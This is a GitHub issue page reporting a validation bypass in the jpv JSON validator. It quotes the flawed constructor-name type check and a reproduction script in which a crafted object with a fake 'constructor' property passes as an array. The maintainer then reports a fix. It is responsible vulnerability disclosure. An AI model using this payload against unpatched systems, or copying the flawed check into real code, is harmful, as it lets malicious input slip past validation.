Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A vulnerability in validate() #6

Closed
xiaofen9 opened this issue Nov 28, 2019 · 1 comment
Closed

A vulnerability in validate() #6

xiaofen9 opened this issue Nov 28, 2019 · 1 comment

Comments

@xiaofen9
Copy link

xiaofen9 commented Nov 28, 2019

We found that a maliciously crafted json can bypass the validation logics of jpv.
The vulnerability is from the following code: jpv leverages the built-in constructor of unsafe user-input to detect type information. However, a crafted payload can overwrite this builtin attribute to manipulate the type detection result.

jpv/index.js

Lines 117 to 125 in e93d2f6

if (typeof pattern === 'object') {
if (typeof pattern !== typeof value) {
return res(false)
}
if (pattern !== null && value !== null) {
return res(value.constructor.name === pattern.constructor.name)
}
return res(value === pattern)
}

Reproduce Script

"use strict";

var jpv = require('jpv');
var path = require('path');
var utils = require("../TestcaseUtils.js");

var user_input = {
    should_be_arrary: {"a":1, 'constructor': {'name':'Array'}}
};
var pattern = {
    should_be_arrary: []
};

console.log(jpv.validate(user_input, pattern));
manvel-khnkoyan pushed a commit that referenced this issue Dec 1, 2019
@manvel-khnkoyan
Copy link
Owner

@xiaofen9 Thanks sir. Issue was fixed in fdab855

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants